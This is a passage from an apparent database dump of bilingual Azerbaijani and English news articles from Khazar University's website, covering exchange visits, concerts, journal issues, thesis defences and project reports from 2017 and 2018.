elmlər fakültəsinin dekanı Cabir Xəlilov, Siyasi elmlər və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev və İngilis dili və ədəbiyyatı departamentinin müdir müavini Eynur Mehdiyev ilə&nbsp;görüşdü.</p><p>Qonağı Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Professor Hamlet İsaxanlı da qəbul etdi.</p><p>Xəzər Universiteti ilə Kozminski Universiteti arasında Erasmus+ müqaviləsi 2015-ci ilin sonunda imzalanmışdır. O vaxtdan etibarən hər iki universitetin tələbə, akademik və inzibati heyəti mübadilədə iştirak etmişlər.</p>'),(4151,2431,'az','Xəzər Universitetinin nəşrləri beynəlxalq sərgidə nümayiş etdiriləcək','2017-ci il sentyabrın 28-dən 30-dək Xəzər Universitetinin tələbələri və Kitabxana-İnformasiya Mərkəzinin əməkdaşları...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 28-dən 30-dək Xəzər\r\nUniversitetinin tələbələri və Kitabxana-İnformasiya Mərkəzinin əməkdaşları V\r\nBakı Beynəlxalq Kitab Sərgisində iştirak edəcəklər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universitetinin nəşrləri beynəlxalq\r\nsərgidə nümayiş etdiriləcək.</p>'),(4152,2432,'az','Xəzər Universitetində elmi seminar-konfrans keçirildi','2017-ci il sentyabrın 19-da Xəzər Universitetində genomun oxunması üçün Amerikanın nəhəng “Illumina” avadanlıq tədarükçüsü Alliance Global qrupu ilə birgə...','<p>2017-ci il\r\nsentyabrın 19-da Xəzər Universitetində genomun oxunması üçün Amerikanın nəhəng\r\n“Illumina” avadanlıq tədarükçüsü Alliance Global qrupu ilə birgə (Illumina Inc./Alliance Global) biologiya ixtisası tələbələrinə, gənc tədqiqatçılara və həkimlərə\r\n“<em>Introduction to ILLUMINA Next Generation\r\nSequencing</em>” adlı elmi seminar-konfrans keçirildi. Seminarda Təhsil fakültəsinin\r\nBioloji elmlər departamentinin müdiri Dr. İradə Xəlilova, departamentin müəllimləri\r\nDr. Zaur Kərimov, Pərvanə Baxşəliyeva, departamentin PhD və biologiya müəllimliyi\r\noxuyan tələbələri iştirak edirdilər. Seminar- konfransda, həmçinin, bir sıra klinikalardan həkimlər iştirak\r\nedirdilər. </p>\r\n<p>Seminar-konfrans\r\niki hissədən ibarət idi. Birinci hissədə Dr. Szabolcs çıxış edərək, klinikada,\r\nelm və təhsildə “sequencing” metodları və aparılan müasir tədqiqat işlərinin nəticələri\r\nhaqqında geniş məlumat verdi. Seminarın ikinci hissəsində Dr. Florian Graedler\r\nonkoloji panellər və HLA, genetika və sağlamlıq, həmçinin insan sağlamlığını\r\nyaxşılaşdırmaq məqsədilə bioloji məlumatların toplanması, təhlili və tətbiqindən\r\ndanışdı. Seminarda müasir tədqiqatlarda İllumina texnologiyalarının istifadə\r\nmetodları haqda geniş müzakirələr aparıldı.</p>'),(4156,2434,'en','July Issue of “Khazar Review” journal has been released','The July 2017 issue (number 364) of Khazar Review has been released by Khazar University Press. The full journal may be found at the following...','<p>The July\r\n2017 issue (number 364) of Khazar Review has been released by Khazar University\r\nPress. The full journal may be found at the following link: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a> </p>'),(4157,2431,'en','The publications of Khazar University will be displayed at the international exhibition','On September 28-30, 2017, the students of Khazar University and the staff of the Library and Information...','<p>On September 28-30, 2017, the\r\nstudents of Khazar University and the staff of the Library and Information\r\nCentre will attend the 5<sup>th</sup> Baku International Book Fair. The\r\npublications of Khazar University will be displayed at the international\r\nexhibition.&nbsp;&nbsp;</p>'),(4158,2435,'az','Xəzər Universitetində Üzeyir Hacıbəyli IX Beynəlxalq Musiqi Festivalı  çərçivəsində konsert keçirildi','Xəzər Universiteti artıq neçə ildir ki, Heydər Əliyev Fondu və Mədəniyyət və Turizm Nazirliyinin təşkilatçılığı ilə keçirilən Üzeyir Hacıbəyli beynəlxalq musiqi festivallarında fəal...','<p>Xəzər Universiteti artıq neçə ildir ki, Heydər\r\nƏliyev Fondu və Mədəniyyət və Turizm Nazirliyinin təşkilatçılığı ilə keçirilən\r\nÜzeyir Hacıbəyli beynəlxalq musiqi festivallarında fəal iştirak edir. Xəbər\r\nverdiyimiz kimi, 2017-ci il sentyabrın 20-də universitetin Mərmər zalında\r\nÜzeyir Hacıbəyli IX Beynəlxalq Musiqi Festivalı (18-26 sentyabr) çərçivəsində\r\n“Üzeyir Hacıbəyli alim, musiqişünas, ictimai xadim” mövzusunda konsert -&nbsp; konfrans keçirilmişdi.</p>\r\n<p>Sentyabrın 21-də isə universitetin “Dünya” konsert\r\nsalonunda festival çərçivəsində Unesco-nun Sülh artisti, pianoçu Elisso\r\nBolkradzenin iştirakı ilə konsert keçirildi. Konsertdə universitetin rəhbərliyi\r\nvə əməkdaşları, tələbələr, festivalın iştirakçısı olan xarici qonaqlar iştirak\r\nedirdilər. Konsertdən əvvəl Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı iştirakçılara Üzeyir Hacıbəylinin həyat\r\nvə yaradıçılığı haqqında geniş məlumat verdi.</p>\r\n<p>Konsertdə universitetin Kamera orkestrinin\r\nifasında&nbsp; Üzeyir Hacıbəyli, Fikrət\r\nƏmirov, Sərdar Fərəcov və Sevda Rəhimovanın; Haydn və Şostakoviçin əsərləri səsləndi.\r\nBethovenin fortepiano və simfonik orkestr üçün 1 nömrəli konsertinin 3-cü hissəsi\r\nXəzər Universitetinin simfonik orkestri və Elisso Bolkradze tərəfindən ifa\r\nolundu.</p>\r\n<p>Konsertin bədii rəhbəri Xəzər UniversitetininMusiqi\r\nvə incəsənət departamentinin müdiri, əməkdar müəllim, dosent Zülfiyyə Sadıqova,\r\ndirijoru beynəlxalq müsabiqələr laureatı, Bakı Musiqi Akademiyasının müəllimi\r\nCavad Tağızadə idi.</p>\r\n<p>Konsertdən sonra Elisso Bolkradze ustad dərsi\r\nkeçdi.</p>'),(4159,2436,'az','Finlandiya universitetinin əməkdaşları Xəzər Universitetindən yazdılar','2017-ci il sentyabrın 22-də Finlandiyanın ən böyük 3-cü ali təhsil müəssisəsi olan Jyväskylä Universitetinin bir qrup əməkdaşı Xəzər Universitetinin qonağı olmuşdur...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 22-də\r\nFinlandiyanın ən böyük 3-cü ali təhsil müəssisəsi olan Jyväskylä Universitetinin\r\nbir qrup əməkdaşı Xəzər Universitetinin qonağı olmuşdur. Qonaq universitetin əməkdaşları\r\nbu haqda reportaj hazırlamışlar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Reportajla bu link vasitəsilə tanış\r\nolmaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://aroundtheworldwithafinn.blogspot.fi/2017/09/student-rights-from-eu-to-caucasus.html\">http://aroundtheworldwithafinn.blogspot.fi/2017/09/student-rights-from-eu-to-caucasus.html</a>.</p>'),(4162,2436,'en','Employees of the Finnish University wrote from Khazar University','On September 22, 2017, a group of employees from Jyväskylä University, Finland\'s third largest university, visited Khazar University. The staff of the guest university prepared a report...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On September 22, 2017, a group of\r\nemployees from Jyväskylä University, Finland\'s third largest university,\r\nvisited Khazar University. The staff of the guest university prepared a report\r\nabout their visit.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The report is available via the link\r\nbelow: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://aroundtheworldwithafinn.blogspot.fi/2017/09/student-rights-from-eu-to-caucasus.html\">http://aroundtheworldwithafinn.blogspot.fi/2017/09/student-rights-from-eu-to-caucasus.html</a>.</p>'),(6368,3618,'en','Information session held by Career Center','Khazar University Career Center held an information session from October 29...','<p>Khazar University Career Center held an information session from October 29 to November till November 2, 2018. The information session was conducted by volunteers supported by Sabina Allahveranova, Manager of Career Center.</p><p>The aim of the session was to inform first and second year students about the Career Center and its services.</p><p>Organizers answered students’ questions and recorded their requirements.</p>'),(6369,3619,'az','Tarix və arxeologiya departamentinin müəllimi beynəlxalq konfransda','2018-ci il oktyabrın 27-si və 28-də Xəzər Universiteti Tarix və arxeologiya departamentinin...','<p>2018-ci il oktyabrın 27-si və 28-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Araz Aslanlı Türkiyədə keçirilən “Kartepe zirvesi” adlı beynəlxalq elmi tədbirdə iştirak etdi. Tədbirin açılışında Türkiyənin Xarici İşlər naziri Mevlüt Çavuşoğlu, Daxili İşlər naziri Süleyman Soylu, Yunanıstanın keçmiş Baş naziri Yorqos Papandreu, BMT-nin, Avropa İttifaqının, eləcə də, bəzi dövlətlərin yüksək səviyyəli rəsmi şəxsləri iştirak edirdilər.</p><p>“Türk Davosu” kimi də adlandırılan bu nüfuzlu tədbirdə Qarabağ problemi ilə bağlı xüsusi panel təşkil edildi. Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Araz Aslanlı Qarabağ problemi ilə bağlı paneldə dəvət edilmiş xüsusi məruzəçi statusu ilə çıxış etdi. Məruzədən sonra iştirakçıların sualları cavablandırıldı.</p>'),(6370,3619,'en','Instructor of the Department of History and Archaeology at an International Conference','On October 27 and 28, 2018, Araz Aslanli, Instructor of the Department of History...','<p>On October 27 and 28, 2018, Araz Aslanli, Instructor of the Department of History and Archaeology of Khazar University, participated in an international conference “The Kartepe Summit” held in Turkey. An opening ceremony of the conference was attended by Turkish Foreign Minister Mevlut Chavusoglu, Interior Minister Suleyman Soylu, former Greek Prime Minister Jorgos Papandreu, as well as officials of UN, EU, and foreign countries.</p><p>A special panel was held on Garabagh conflict at the conference which is also known as “Turkish Davos”. Araz Aslanli, Instructor of the Department of History and Archaeology of Khazar University, delivered a report on Garabagh conflict in the panel as a special reporter. There was a question and answer session after the reports.</p>'),(4163,2437,'az','Layihə rəhbərindən Xəzər Universitetinə məktub gəldi','2017-ci il sentyabrın 18-də “Gələcəyini qur!” Gəncliyə Dəstək Layihəsinin rəhbəri Bəhruz Hidayətzadə Xəzər Universitetinin təsisçisi...','<p>2017-ci il sentyabrın 18-də “Gələcəyini qur!” Gəncliyə Dəstək Layihəsinin rəhbəri Bəhruz Hidayətzadə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya yeni tədris ilinin başlanması münasibətilə təbrik məktubu göndərmişdir. Layihə rəhbəri layihəyə göstərdiyi dəstəyə görə də H.İsaxanlıya təşəkkürünü bildirmişdir.</p><p>Qeyd: <a href=\"/files/letters/GQ%20Khazar%20Letter.PDF\">Məktub əlavə edilmişdir.</a></p>'),(4164,2438,'az','Hamlet İsaxanlı layihə rəhbərinin məktubuna cavab verdi','2017-ci il sentyabrın 22-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı...','<p>2017-ci il sentyabrın 22-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Gələcəyini qur!” Gəncliyə Dəstək Layihəsinin rəhbəri Bəhruz Hidayətzadənin yeni tədris ilinin başlanması münasibətilə göndərdiyi təbrik məktubuna cavab göndərmişdir. H.İsaxanlı belə bir layihə ilə əməkdaşlığın Xəzər Universiteti üçün xoş olduğunu vurğulamış və bu cür layihələrə daim dəstək verəcəklərini qeyd etmişdir.</p><p>Qeyd: <a href=\"/files/letters/Geleceyini_qur_001.jpg\">Məktub əlavə edilmişdir.</a></p>'),(4165,2439,'az','Xəzər Universitetində tədqiqat seminarı keçirildi','2017-ci il sentyabrın 22-də Xəzər Universitetində tədqiqat seminarı (Research seminar/Journal Club) keçirildi. Seminarda...','<div></div><p>2017-ci&nbsp;il sentyabrın 22-də Xəzər Universitetində tədqiqat seminarı (Research seminar/Journal Club) keçirildi. Seminarda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri,&nbsp;professor Hamlet İsaxanlı, Xəzər Universitetinin Magistratura və doktorantura bölməsinin müdiri Dr.Eldar Şahgəldiyev, Biologiya departamentinin və Hüceyrə Patologiyası Tədqiqat Mərkəzinin müdiri Dr. İradə Xəlilova, Coğrafiya və ətraf mühit departamentinin müdiri Dr. Rövşən Abbasov, Təhsil departamentinin koordinatoru Qoşqar Məhərrəmov, Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli, Kataloqlaşdırma bölməsinin müdiri Samirə Orucova, universitetin PhD tələbələri iştirak edirdilər.</p><p>Seminarın ilkin mərhələsində Təhsil departamentinin koordinatoru Qoşqar Məhərrəmov Xəzər Universitetində yeni yaradılan PhD və Magistr Tələbə Birliyinin (PhD and Master Student Association) məqsədlərini açıqladı, burada görüləcək işlər və planlar haqda çıxış etdi. Seminarda müzakirələr aparıldı və bu birliyin fəaliyyətinin PhD və magistr tələbələrin inkişafında əhəmiyyətli olması vurğulandı. Bu birliyə rəhbərliyi doktorant Qoşqar Məhərrəmov könüllü olaraq üzərinə götürdü.</p><p>Seminarın ikinci mərhələsində Bioloji elmlər departamentinə və Hüceyrə Patologiyası Tədqiqat Mərkəzinin elmi işçisi Dr. Babək Əlibəyov son illər Çexiya Elmlər Akademiyasının Biokimya və Üzvi Kimya İnstitutunda apardığı elmi tədqiqatların nəticələrini təqdim etdi və tələbələrə öz təcrübəsindən danışdı.</p><p>Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli Xəzər Universitetinin kitabxanasının son məlumat bazalarını təqdim etdi və bunlardan necə istifadə etmək yollarını göstərdi.</p><p>Sonra Dr. İradə Xəlilova tələbələrə Xəzər Universitetində 2016-cı ilin fevralında qurulan Xəzər Tədqiqata Dəstək Mərkəzinin (Khazar Research Support Center) fəaliyyəti və müxtəlif tədqiqat sahələrinə aid mentorlar haqqında məlumat verdi.</p><p>Seminarın sonunda növbəti seminarda tezis və məqalə yazmaqda mühüm olan EndNote soft proqramının workshop-unun keçirilməsi qərara alındı. Həmçinin, sentyabrın 29-da PhD və Magistr Tələbə Birliyinin ilk sərbəst sosial görüşünün Zirə Ekoparka səfəri planlaşdırıldı. Qeyd olundu ki, bu birliyə ixtisasından və harada oxumasından asılı olmayaraq, hər bir PhD və magistr tələbə qoşula bilər.</p><div></div>'),(4166,2440,'az','Xəzər Universiteti əməkdaşının məqalələri Thomson Reuters-in jurnallarında çap olundu','Xəzər Universiteti Tarix və arxeologiya departamentinin əməkdaşı Nuridə Atəşinin...','<p>Xəzər Universiteti Tarix və arxeologiya departamentinin əməkdaşı Nuridə Atəşinin Thomson Reuters indeksli jurnallarda, alman və ingilis dillərində iki məqaləsi çap olunmuşdur.</p><div><br></div><p>Qeyd: Məqalələr əlavə edilmişdir:</p><p style=\"font-size:medium\"><a href=\"/files/articles/Ateshi_pz_2017_0009.pdf\">185 Jahre deutsche und europäische Archäologie im Kaukasus. Eine kritische Analyse und&nbsp;Bestandsaufnahme vergangener und aktueller Forschungen</a></p><p></p><p><a href=\"/files/articles/Critical_remarks_on_archaeological_resea.pdf\" style=\"font-size:medium\">Critical remarks on archaeological research in the 19th and 20th centuries on the Late Bronze and Early Iron Ages in the Southern Caucasus</a></p><br><p></p>'),(4171,2444,'az','Meksika səfiri Hamlet İsaxanlıya təşəkkür etdi','2017-ci il sentyabrın 22-də Meksikanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Rodrigo Labardini...','<p>2017-ci il sentyabrın 22-də Meksikanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Rodrigo Labardini Xəzər Universitetinin Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya məktub göndərmişdir. Məktubda H.İsaxanlının sentyabrın 7-də Meksikada baş vermiş zəlzələ nəticəsində çoxsaylı insan tələfatı və dağıntı səbəbilə, Meksika xalqına Xəzər Universiteti adından verdiyi başsağlığına görə təşəkkür edilir.</p>'),(4172,2445,'az','Yıldız Teknik Universitetindən Hamlet İsaxanlıya məktub gəldi','2017-ci il avqustun 2-də Türkiyənin Yıldız Teknik Universitetin rektoru professor Dr. Ahmet Göksel Ağargün...','<p>2017-ci il avqustun 2-də Türkiyənin Yıldız Teknik Universitetin rektoru professor Dr. Ahmet Göksel Ağargün Xəzər Universitetinin Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya məktub göndərmişdir. Universitetin rektoru məktubda 2016-cı il iyulun 15-də FETÖ terror təşkilatının Türkiyədə dövlət çevrilişi cəhdi zamanı Türkiyənin qanuni hökumətinin yanında olduqlarına, verdikləri dəstəyə və universitetlə əlaqələrini kəsmədiklərinə görə, H.İsaxanlıya təşəkkürünü bildirir.</p>'),(4167,2441,'en','Information about ESFIDIP Tempus project was published in Kazakhstan','The information about “The Establishment of a Foundation for the Integration...','<p style=\"font-size:medium\">The information about “The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) Tempus Project, coordinated by Khazar University and the Centers for Students with Disabilities established within the framework of &nbsp;the project was published on the website of <strong>Partnership for Innovation</strong>.</p><div style=\"font-size:medium\">Here is the link for further information:<br></div><p style=\"font-size:medium\"><a href=\"http://cso-central.asia/v-azerbajdzhanskix-vuzax-sozdany-centry-dlya-studentov-s-invalidnostyu/\">http://cso-central.asia/v-azerbajdzhanskix-vuzax-sozdany-centry-dlya-studentov-s-invalidnostyu/</a></p><div style=\"font-size:medium\">We would like to mention that the “Partnership for Innovations – P4I” Program coordinated by ARGO Civil Society Development Association (Kazakhstan) aims at strengthening of civil society in both countries through mutual communication, networking and sustainable co-operation among civil society in Central Asia and Azerbaijan.</div><div style=\"font-size:medium\"><br></div><div style=\"font-size:medium\">Here is the link for further information:</div><div style=\"font-size:medium\"><a href=\"http://argonet.org/en/projects/partnership-for-innovations-program/\">http://argonet.org/en/projects/partnership-for-innovations-program/</a></div>'),(5932,3393,'az','Professor Hamlet İsaxanlının Kanadaya səfəri','Hamlet İsaxanlı Calgary Universiteti Riyaziyyat və statistika departmentinin...','<p>2018-ci il avqustun 13-18-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı onu müşayiət edən kinorejissor Vladimir Mun\'la birlikdə Kanadaya səfər etdi.&nbsp;</p><p>Səfərin məqsədi Hamlet İsaxanlının 1985-87-ci illər Kanada səfərlərinin izi ilə getmək, uyğun universitet, şəxslər və yerləri bir daha görmək, həmçinin bəzi çəkilişlər etmək və yeni münasibətlər yaratmaq idi.&nbsp;&nbsp;</p><p>Hamlet İsaxanlı əvvəllər mühazirələr oxuduğu, elmi konfrans və seminarlarda çıxış etdiyi üç Kanada universiteti - Toronto, Calgary və Dalhousie universitetlərindən ikisində - Toronto və Calgary universitetlərində oldu. O,&nbsp; Calgary universitetində oxuduğu mühazirələrdə iştirak edən, hazırda təqaüddə olan iki görkəmli riyaziyyatçı - 102 yaşlı professor Richard Gay və 90 yaşlı professor Peter Lancaster ilə görüşdü - birinci ilə üzbəüz, ikinci ilə qiyabi olaraq.&nbsp;</p><p>Hamlet İsaxanlı Calgary Universiteti Riyaziyyat və statistika departmentinin müdiri professor Tony Ware ilə görüşüb, iki universitet arasında, xüsusilə riyaziyyat və onun tətbiqləri üzrə yaxın əlaqələrin&nbsp; yaradılması barədə razılıq əldə etdi.</p><p>Hamlet İsaxanlı yenə 1985-87-ci illərdə baş tutmuş səfərlərinin izi ilə məşhur Lake Louise gölünü, Kanadanın məşhur milli parkı Banff\'ı və bəzi zirvələrinə çıxdığı Rocky Mountain dağlarını da ziyarət etdi.</p>'),(5931,3392,'az','Xəzər Universitetində ali təhsil müəssisələrinin boş qalan plan yerlərinə qəbul olan abituriyentlərin qeydiyyatı başlayıb','','<p>Xəzər Universitetində ali təhsil müəssisələrinin boş qalan plan yerlərinə qəbul olan abituriyentlərin qeydiyyatı başlayıb. Qeydiyyat sentyabrın 3-dək davam edəcək.</p>'),(4168,2443,'az','Xəzər Universitetində StartUp layihəsi müsabiqəsinə start verilir','Xəzər Universitetində StartUp layihəsi müsabiqəsinə start verilir. Müsabiqədə universitetin bütün tələbələri iştirak edə bilərlər. Müsabiqədə yer tutan...','<div><img src=\"/files/letters/idea_poster_esas.jpg\" style=\"border:0px #000000;width:400px;height:563px;margin:0px 8px 8px 0px;float:left\"><p style=\"font-size:medium\">Xəzər Universitetində <strong>StartUp </strong>layihəsi müsabiqəsinə start verilir. Müsabiqədə universitetin bütün tələbələri iştirak edə bilərlər. Müsabiqədə yer tutan layihə müəllifləri mükafatlandırılacaqlar.</p></div>\r\n<p style=\"font-size:medium\">Müsabiqədə iştirak üçün 2017-ci il oktyabrın 23-dən gec olmayaraq müraciət edilməlidir. Təkliflər elektron formada bu e-mail-ə göndərilməlidir: <a href=\"mailto:frasulov@khazar.org\">frasulov@khazar.org</a>.</p><p style=\"font-size:medium\">Müsabiqəyə qatılmaq üçün <strong><a href=\"https://docs.google.com/forms/d/e/1FAIpQLSdgho2IBFX6zHg7m1k6l074JIx-Vc88U_30qQPYN9iWgKLiPA/viewform\">bu linkdə</a></strong> qeydiyyatdan keçə bilərsiniz.</p><div style=\"font-size:medium\">Əlavə suallar üçün bu nömrəyə zəng etmək olar: (012) 421 10 93 (dax. 278).</div><div style=\"font-size:medium\"><br></div><div style=\"font-size:medium\">Qeyd: <a href=\"/files/letters/idea_poster_esas.jpg\">Müsabiqənin plakatı hazırdır.</a></div>'),(4173,2446,'az','“Xəzər Humanitar və sosial elmlər jurnalı”nın yeni sayı çap olundu','\"Xəzər Humanitar və sosial elmlər jurnalı\"nın yeni sayı...','<div><img src=\"/files/letters/qapaq.jpg\" style=\"width:200px;height:278px;margin-right:8px;margin-bottom:8px;float:left\">\"Xəzər Humanitar və sosial elmlər jurnalı\"nın yeni sayı (cild 20, №3, 2017) Xəzər Universitetinin Nəşriyyatında çap olundu.</div><div><br></div><div>Jurnal ildə dörd dəfə ingilis dilində çap olunur.</div><div><br></div><div>Jurnalı tam şəkildə bu link vasitəsilə oxumaq olar: <a href=\"www.jhss-khazar.org\">www.jhss-khazar.org</a>.</div>'),(4174,2446,'en','New Issue of Khazar Journal of Humanities and Social Sciences Published','The new issue of Khazar Journal of Humanities and Social Sciences (Vol 20, № 3, 2017), has been...','<p><img src=\"/files/letters/qapaq.jpg\" style=\"width:200px;height:278px;margin-right:8px;margin-bottom:8px;float:left\"><span style=\"font-size:medium\">The new issue of Khazar Journal of Humanities and Social Sciences (Vol 20, № 3, 2017), has been published by Khazar University Press.</span></p><div style=\"font-size:medium\">Issues that were touched upon in this issue include the revisited strategies of politeness translation in \'The Simpsons\' Sitcom; teachers’ understanding-check practices and learners’ following orientations in EFL classroom interaction;&nbsp;assessment of training needs for teaching at the elementary schools in Saudi Arabia; a ‘Thick Description’ genre analysis of death announcement notices; fiscal decentralization and economic growth; national mechanisms for ensuring social rights and socio-cultural constraints of girls’ access to education in Tanzania.</div><div style=\"font-size:medium\"><br></div><div style=\"font-size:medium\">The Journal is published four times a year in English.</div><div style=\"font-size:medium\"><br></div><div style=\"font-size:medium\">The open-access electronic version of the journal can be found on: <a href=\"www.jhss-khazar.org\">www.jhss-khazar.org</a>.</div>'),(4177,2450,'az','Hamlet İsaxanlı Azərbaycan dilinə münasibətdən danışdı','Musavat.com və Xeber365.com saytlarının “Türk dilinin regionda hakim dilə çevrilməsi” layihəsinin növbəti müsahibi Xəzər...','<p><em><strong>Musavat.com</strong></em>&nbsp;və&nbsp;<em><strong>Xeber365.com</strong></em>&nbsp;saytlarının “Türk dilinin regionda hakim dilə çevrilməsi” layihəsinin növbəti müsahibi&nbsp;Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı olmuşdur.</p><p>“İki gürcünü rusca danışan görməzsiniz, azərbaycanlılar isə...&nbsp;–&nbsp;Hamlet İsaxanlı” başlıqlı müsahibəni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://xeber365.com/haber-iki-gurcunu-rusca-danisan-gorm-zsiniz-az-rbaycanlilar-is-...-hamlet-isaxanli-14362.html\">http://xeber365.com/haber-iki-gurcunu-rusca-danisan-gorm-zsiniz-az-rbaycanlilar-is-...-hamlet-isaxanli-14362.html</a>.</p>'),(4178,2451,'az','Psixologiya departamentində magistr müdafiəsi keçirildi','2017-ci il sentyabrın 26-da Xəzər Universiteti Psixologiya departamentində ümumi psixologiya və klinik psixologiya ixtisası üzrə...','<p>2017-ci il sentyabrın 26-da Xəzər Universiteti Psixologiya departamentində ümumi psixologiya və klinik psixologiya ixtisası üzrə magistratura tələbələrinin dissertasiya işlərinin müdafiəsi təşkil edildi. Müdafiə şurasında Humanitar və sosial elmlər fakültəsinin dekanı dosent Cabir Xəlilov, dekan müavini Ph.D (st.) Mələk Kərimova, Ph.D (nam.) Cabir Məmmədli, p.ü.f.d. Ləman Verdiyeva, Ph.D (st.) Validə Kərimova da iştirak edirdilər.</p><p>Müdafiə şurasının sədri universitetin Magistratura, doktorantura və elmi işlər bölməsinin müdiri fəlsəfə üzrə fəlsəfə doktoru Eldar Şahgəldiyevin rəhbərliyi ilə keçirilən müdafiədə müzakirələrə yer verildi və iddiaçılar sualları cavablandırdılar. Ümumi psixologiya ixtisası üzrə magistr tələbələri Vəfa Həşimova “Yeniyetmələrdə təfəkkür çevikliyinin təzahür xüsusiyyətləri”, Aysel Xanməmmədova “Gənclərdə mənəvi inkişafı şərtləndirən amillərin psixoloji təhlili”, klinik psixologiya ixtisası üzrə magistr tələbə Günay Bayramova isə (elmi rəhbər: İkram Rüstəmov) “Universitet tələbələri arasında internet asılılığı və depressiya arasında əlaqə” adlı dissertasiya işlərini uğurla müdafiə etdilər.&nbsp;</p><p>Müdafiə prosesində Xəzər Universitetinin klinik psixologiya birinci kurs magistr tələbələri də həvəslə iştirak edirdilər. İddiaçılar Vəfa Haşımova və Aysel Xanməmmədovanın dissertasiyasıya işlərinin elmi rəhbəri Bakı Dövlət Universitetinin Psixologiya kafedrasının müəllimi p.ü.f.d. Müşfiq Mustafayev Müdafiə şurasında şura üzvlərinin suallarını cavablandırdı. Müdafiəyə təqdim olunan işlər müsbət qiymətləndirildi və iddiaçılara magistr dərəcəsi verilməsi qərara alındı.</p>'),(4176,2448,'az','Jurnalistika departamentində magistr müdafiəsi keçirildi','2017-ci il sentyabrın 26-da Xəzər Universiteti Jurnalistika departamentində Radiotelejurnalistika ixtisası üzrə magistratura təhsili alan...','<p>2017-ci il sentyabrın 26-da Xəzər Universiteti Jurnalistika departamentində Radiotelejurnalistika ixtisası üzrə magistratura təhsili alan Sevil Rəsulzadənin “Televiziyada gender məsələsinin işıqlandırılması” mövzusundakı dissertasiya işinin müdafiəsi təşkil edildi. Müdafiə şurasında Humanitar və sosial elmlər fakültəsinin dekanı dosent Cabir Xəlilov, dosent Knyaz Aslan (BDU), filologiya üzrə fəlsəfə doktoru Aynur Nəsirova (BDU), dosent Dilbər Zeynalova (ADU), Jurnalistika departamentinin koordinatoru Cabir Məmmədli, Ph.D (st.) Validə Kərimova da iştirak edirdilər.</p><p>Magistrant dissertasiyanın təqdimatından sonra sualları cavablandırdı. Müdafiəyə təqdim olunan iş müsbət qiymətləndirildi və iddiaçıya magistr dərəcəsi verilməsi qərara alındı.</p>'),(4179,2452,'az','AESOP layihəsinin hesabat xarakterli növbəti görüşü Xəzər Universitetində keçirildi','Avropa Komissiyasının “Erasmus Plus” proqramı üzrə AESOP layihəsinin hesabat xarakterli növbəti görüşü Xəzər Universitetində...','<p>Avropa Komissiyasının “Erasmus Plus” proqramı üzrə AESOP layihəsinin hesabat xarakterli növbəti görüşü Xəzər Universitetində keçirilmişdir. Layihənin nəticəsi olaraq, proqrama qoşulan ali təhsil müəssisələrində tələbələrin hüquqlarını müdafiə edəcək ombudsman ofisinin açılması gözlənilir.</p><p>Xəbəri bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"https://news.milli.az/society/584902.html\">https://news.milli.az/society/584902.html</a></p><p><a href=\"http://sia.az/az/news/education/637925.html\">http://sia.az/az/news/education/637925.html</a></p><p><a href=\"https://azertag.az/xeber/Gence_Dovlet_Universitetinde_ombudsman_ofisinin_achilmasi_gozlenilir-1097315\">https://azertag.az/xeber/Gence_Dovlet_Universitetinde_ombudsman_ofisinin_achilmasi_</a></p><p><a href=\"https://azertag.az/xeber/Gence_Dovlet_Universitetinde_ombudsman_ofisinin_achilmasi_gozlenilir-1097315\">gozlenilir-1097315</a></p>'),(6231,3547,'az','PAWER layihəsinin təqdimatı','2018-ci il oktyabrın 19-da Erasmus+ “Universitetdə miqrasiya təhsilinin təşviqi” (PROMIG...','<p>2018-ci il oktyabrın 19-da Erasmus+ “Universitetdə miqrasiya təhsilinin təşviqi” (PROMİG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) layihəsi çərçivəsində Xəzər Universitetində İqtisadiyyat və Menecment fakültəsi, İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin təşkilatçılığı ilə “Miqrasiya və davamlı inkişaf” mövzusunda bir günlük məlumatlandırıcı konfrans keçirildi.</p><p>Tədbirdə, həmçinin, Xəzər Universitetinin tərəfdaşı 